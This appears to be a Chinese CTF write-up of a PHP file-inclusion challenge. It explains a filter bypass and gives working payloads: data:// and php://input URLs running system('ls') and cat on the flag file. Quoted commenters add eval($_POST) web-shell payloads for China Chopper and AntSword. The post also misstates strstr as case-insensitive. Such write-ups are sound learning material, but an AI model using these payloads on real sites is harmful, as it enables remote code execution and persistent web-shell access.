CTF题目记录5

Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);//此处为文件包含,执行page中的内容
?>

考察基础的文件包含,过滤了php://
page变量可以操控

思路:先找flag文件的位置,再查看flag文件的内容

  • strstr()函数:大小写不敏感,所以要想使用php协议,要改成大写

  • cat命令

cat命令的用途是连接文件或标准输入并打印。这个命令常用来显示文件内容,或者将几个文件连接起来显示,或者从标准输入读取内容并显示,它常与重定向符号配合使用。

1.命令格式:

cat [选项] [文件]…

2.命令功能:

cat主要有三大功能:

1.一次显示整个文件:cat filename

2.从键盘创建一个文件:cat > filename 只能创建新文件,不能编辑已有文件.

3.将几个文件合并为一个文件:cat file1 file2 > file

  • ls命令/dir 列出文件

方法1:使用data://协议

http://124.126.19.106:56038/?page=data://text/plain,<?php system("ls")?>
在这里插入图片描述

方法2:使用php://input协议 大写绕过
php://input 协议主要用来接收post数据,将post请求中的数据作为php代码执行

此处ps:我本准备用hackbar post数据 但是页面一闪而过了,所以还是得用bp啊…
在这里插入图片描述
结果都是一样的

然后我们要读取文件的内容,执行 cat 命令
http://124.126.19.106:56038/?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
然后查看源代码(根据评论,php文件一般在源代码中)

也可以利用hello变量的:传参hello=<?show_source('fl4gisisish3r3.php');?>

show_source() 函数对文件进行语法高亮显示。

本函数是 highlight_file() 的别名
在这里插入图片描述
还有其它解法:摘自攻防世界的评论区

评1:菜刀直连 http://111.198.29.45:46279/index.php?page=data:%20text/plain,<?php%20eval(@$_POST['c'])%20?>

评2:这题我占时了解3中方法。第一种利用 PHP://input post: <?php system("ls");?> 查看到fla…g.php;第二种:http://111.198.29.45:40787/index.php?page=data:text/plain,<?php system("ls"); ?>;第三中:http://111.198.29.45:40787/index.php?page=data:text/plain,<?php eval($_POST[c]); ?> 蚁剑连接:url里面之间输入前面的,密码是c
还有一种into outfile 但是不行 ,因为权限不够 用chmod 777 /var/www/赋权限不行,所以放弃

php_rce

这题是蒙蔽的,因为啥都不知道QAQ
搜了一下是thinkphp 5.x rce漏洞 等我学习一下再来做

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章